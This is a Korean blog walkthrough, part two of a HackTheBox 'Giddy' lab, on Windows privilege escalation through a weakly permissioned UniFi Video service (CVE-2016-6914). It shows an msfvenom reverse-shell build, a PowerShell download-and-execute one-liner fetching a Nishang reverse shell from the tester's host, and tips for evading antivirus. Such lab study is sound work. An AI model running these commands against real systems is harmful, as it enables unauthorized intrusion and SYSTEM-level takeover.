모의 해킹/Windows

[모의 해킹] HackTheBox - Giddy Part 2

solo-infosec 2025. 3. 20. 09:33
반응형

Giddy

 OS: Windows

취약점: 취약한 서비스 권한 설정과 PowerShell 히스토리 파일

 
PowerShell 히스토리 파일에 기록된 정보를 기반으로 서비스를 조작해 악성 파일을 실행할 수 있다.
 

리버스쉘

원할한 작업을 위해서 Evil-WinRM 세션에서 새로운 리버스쉘을 업로드 하자. msfvenom을 사용해서 윈도우용 TCP 기반 리버스쉘을 제작할 수 있다.

┌─[✗]─[solo@parrot]─[~/Desktop/hack]
└──╼ $msfvenom -p windows/powershell_reverse_tcp LHOST=10.10.14.108 LPORT=8000 -f exe -o reverse.exe
*Evil-WinRM* PS C:\Users\Stacy\Documents> Invoke-WebRequest http://10.10.14.108:8000/reverse.exe -o ./reverse.exe

성공적으로 업로드된 reverse.exe 파일을 실행했지만 실행이 불가능 했다. Get-ChildItem 명령어로 디렉토리를 확인해 봤더니 reverse.exe 파일이 사라져있었다. 아무래도 Anti-Virus 프로그램이 실행중인 것 같다. 이번엔 스크립트를 사용해서 리버스쉘을 생성해보자. 스크립트는 NishangInvoke-PowerShellTcp를 수정해서 사용했다.
 

*Evil-WinRM* PS C:\Users\Stacy\Documents> iex((New-Object System.Net.WebClient).DownloadString("http://10.10.14.108:8000/Invoke-PowerShellTcp.ps1"))

스크립트 실행 역시 실패했다. 확인해보니 PermissionDenied 에러가 발생했다. 아무래도 사용자가 가지고 있는 권한이 부족해 PowerShell 명령어 실행에 제약이 있는 것 같다.
 

디렉토리 + 파일 조사

조금 더 정보 수집이 필요한 것 같다. 사용자 디렉토리부터 시작해서 Program Files 디렉토리,  PowerShell 히스토리 파일 등을 조사해 차근차근 정보를 수집하고 특이한 점은 없는지 찾아보자.
 

*Evil-WinRM* PS C:\Users\Stacy> Get-ChildItem -recurse -file
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        3/17/2025   9:05 PM             34 user.txt


    Directory: C:\Users\Stacy\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        6/17/2018   9:36 AM              6 unifivideo

stacy의 홈 디렉토리엔 user.txt와 unifivideo라는 파일이 존재한다. 이 밖에 다른 특이한 점은 발견할 수 없었다. stacy 외 다른 사용자들의 홈 디렉토리는 권한 부족으로 조사를 진행할 수 없었다. 이제 Program FIles 디렉토리를 조사해 보자.
 

*Evil-WinRM* PS C:\Program Files> dir
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         6/1/2018   6:04 PM                Common Files
d-----         6/1/2018   6:35 PM                Internet Explorer
d-----        6/16/2018   9:50 PM                Java
d-----        6/16/2018   9:23 PM                Microsoft Analysis Services
da----        6/16/2018   9:15 PM                Microsoft SQL Server
d-----        6/16/2018   9:14 PM                Microsoft Visual Studio 10.0
d-----        6/16/2018   9:14 PM                Microsoft.NET
d-----        6/16/2018   9:24 PM                PackageManagement
d-----        3/17/2025   9:06 PM                VMware
d-----         6/1/2018   6:41 PM                Windows Defender
d-----         6/1/2018   6:35 PM                Windows Mail
d-----         6/1/2018   6:35 PM                Windows Media Player
d-----        7/16/2016   9:23 AM                Windows Multimedia Platform
d-----        7/16/2016   9:23 AM                Windows NT
d-----         6/1/2018   6:35 PM                Windows Photo Viewer
d-----        7/16/2016   9:23 AM                Windows Portable Devices
d-----        6/16/2018   9:24 PM                WindowsPowerShell
*Evil-WinRM* PS C:\Program Files (x86)> dir
Directory: C:\Program Files (x86)
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        6/16/2018   9:20 PM                Common Files
d-----         6/1/2018   6:35 PM                Internet Explorer
d-----        6/16/2018   9:22 PM                Microsoft Analysis Services
d-----        6/16/2018   9:19 PM                Microsoft Help Viewer
d-----        6/16/2018   9:22 PM                Microsoft Office
d-----        6/16/2018   9:18 PM                Microsoft SDKs
da----        6/16/2018   9:19 PM                Microsoft SQL Server
d-----        6/16/2018   9:22 PM                Microsoft Visual Studio 10.0
da----        6/16/2018   9:21 PM                Microsoft Visual Studio 14.0
d-----        6/16/2018   9:19 PM                Microsoft.NET
da----        6/16/2018   9:20 PM                MSBuild
d-----        6/16/2018   9:18 PM                Reference Assemblies
d-----         6/1/2018   6:35 PM                Windows Defender
d-----        6/16/2018   9:19 PM                Windows Kits
d-----         6/1/2018   6:35 PM                Windows Mail
d-----         6/1/2018   6:35 PM                Windows Media Player
d-----        7/16/2016   9:23 AM                Windows Multimedia Platform
d-----        7/16/2016   9:23 AM                Windows NT
d-----         6/1/2018   6:35 PM                Windows Photo Viewer
d-----        7/16/2016   9:23 AM                Windows Portable Devices
d-----        7/16/2016   9:23 AM                WindowsPowerShell

.NET과 Java가 설치되어 있는 것을 볼 수 있다. 직접 Java나 C#으로 악성 코드를  작성하거나 실행해 윈도우 디펜더 같은 Anti-Virus 프로그램을 우회할 수 있다.
(보통 Anti-Virus 소프트웨어는 프로그램을 실행하기 전 해당 프로그램의 해시값을 계산하고 데이터베이스에 저장된 악성 프로그램의 해시값과 비교해 실행 프로그램이 악성 파일인지 판단한다.)
 
이번엔 PowerShell 히스토리 파일을 조사해 보자. PowerShell 히스토리 파일은 과거 사용자가 실행한 명령어가 저장되어 있는 로그 파일이다.
PowerShell 히스토리 파일 풀더:
AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline 

*Evil-WinRM* PS C:\Users\Stacy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline> type ConsoleHost_history.txt
net stop unifivideoservice
$ExecutionContext.SessionState.LanguageMode
Stop-Service -Name Unifivideoservice -Force
Get-Service -Name Unifivideoservice
whoami
Get-Service -ServiceName UniFiVideoService

사용자가 Get-Service | Stop-Service를 사용해 서비스명이 Unifivideoservice인 서비스를 제어한 기록이 남아있다. 이를 통해 사용자가 특정 서비스를 제어할 수 있는 권한을 가지고 있음을 확인할 수 있다.
 

윈도우 서비스

*Evil-WinRM* PS C:\Users\Stacy> Stop-Service -Name Unifivideoservice -Force
Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop...
Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to stop...
*Evil-WinRM* PS C:\Users\Stacy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline> Start-Service -Name Unifivideoservice
Warning: Waiting for service 'Ubiquiti UniFi Video (Unifivideoservice)' to start...

실제로 Start-Service | Stop-Service 명령어를 사용해 Unifivideoservice를 제어할 수 있었다. 이 서비스의 바이너리 파일의 위치를 윈도우 레지스트리를 통해서 확인해 보자.
(윈도우 레지스트리에 접근할 수 있다면 정말 많은 정보를 획득할 수 있다. 레지스트리에 대한 이해는 윈도우 해킹에 있어서 필수적이다.)
 

*Evil-WinRM* PS C:\Users\Stacy\Documents> reg query "HKLM\System\CurrentControlSet\Services\UniFiVideoService" /v "ImagePath"
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\UniFiVideoService
    ImagePath    REG_EXPAND_SZ    C:\ProgramData\unifi-video\avService.exe //RS//UniFiVideoService

바이너리 파일의 위치가 C:\ProgramData\unifi-video\avService.exe라는 것을 확인했다.
 

*Evil-WinRM* PS C:\ProgramData\unifi-video> dir

UniFiVideo의 아이콘과 실행 파일이 보인다. UniFiVideo에 대해서 구글링을 통해 조사하니 권한 상승과 관련된 취약점을 가지고 있다는 것을 확인했다.
 
https://nvd.nist.gov/vuln/detail/cve-2016-6914

NVD - cve-2016-6914

CVE-2016-6914 Detail Modified This CVE record has been updated after NVD enrichment efforts were completed. Enrichment data supplied by the NVD may require amendment due to these changes. Description Ubiquiti UniFi Video before 3.8.0 for Windows uses weak

nvd.nist.gov

3.8.0 이전 버전은 설치 디렉토리에 설정된 취약한 권한 설정으로 인해 공격자가 taskkill.exe 파일을 다른 악성 파일로 바꿔치기 가능한 취약점이다. taskkill.exe는 서비스가 시작될 때 자동적으로 실행되는 파일인데 이를 악성 파일과 바꿔치기헤사 익상 코드를 SYSTEM 권한으로 실행하는 취약점이다. 
 
msfvenom 같이 유명한 툴이나 페이로드로 작성한 리버스쉘 파일은 Windows Defender에 포착될 가능성이 높다. 하지만 Windows Defender를 우회할 수 있는 방법도 많다. 리버스쉘 페이로드를 메모리로 곧바로 로딩하거나 리버스쉘 페이로드를 난독화 해서 Anti-Virus 소프트웨어를 우회할 수 있다. 제일 쉬운 방식은 내가 그냥 직접 리버스쉘 코드를 작성하는 것이다. (내가 작성한 리버스쉘이 너무 유명해서 악성 파일 해시 데이터베이스에 저장되있지 않은 이상 웬만하면 우회 가능하다)
 

┌─[✗]─[solo@parrot]─[~/Desktop/hack/priv]
└──╼ $x86_64-w64-mingw32-gcc shell.c -o shell.exe

페이로드를 난독화 하거나 메모리에 직접 로딩하는 똥꼬쇼를 하지 않고 그냥 Netcat 바이너리와 C로 직접 작성한 shell.exe를 서비스 디렉토리에 업로드 하자. 그리고 NVD (국가 취약점 데이터베이스)에 설명된 것처럼 shell.exe의 파일명은 taskkill.exe로 변경하고 서비스를 재시작 해보자.
 
Netcat의 윈도우용 바이너리는 아래 깃허브 레포지토리에서 다운로드 할 수 있다.
https://github.com/int0x33/nc.exe/

GitHub - int0x33/nc.exe: Netcat for windows 32/64 bit

Netcat for windows 32/64 bit. Contribute to int0x33/nc.exe development by creating an account on GitHub.

github.com

 
 

 

결론

공격자가 윈도우 서비스를 제어할 수 있거나 어떤식으로든 윈도우 서비스와 관련된 파일 (exe, dll, msi 등)을 조작할 수 있으면 정말 많은 선택지의 문이 열리게 된다. 윈도우 서비스는 윈도우 보안의 핵심중 하나다. 당신이 공격자라면 윈도우 서비스 + 윈도우 서비스 해킹 기법을 더욱 탐구해보고 서버 관리자라면 지금 당장 윈도우 서비스가 제대로 설정되있는지 한번더 확인해 보자.
 

이전편 바로가기

https://solo-infosec.tistory.com/11

[모의 해킹] HackTheBox - Giddy Part 1

GiddyOS: Windows취약점: SQL Injection, LLMNR Poisoning MS SQL Server를 데이터베이스로 사용하는 ASP.NET 기반 웹 어플리케이션이 돌아가는 머신이다. SQL Injection을 통해 MS SQL의 Stored Procedure인 xp_dirtree를 사용할

solo-infosec.tistory.com

 

반응형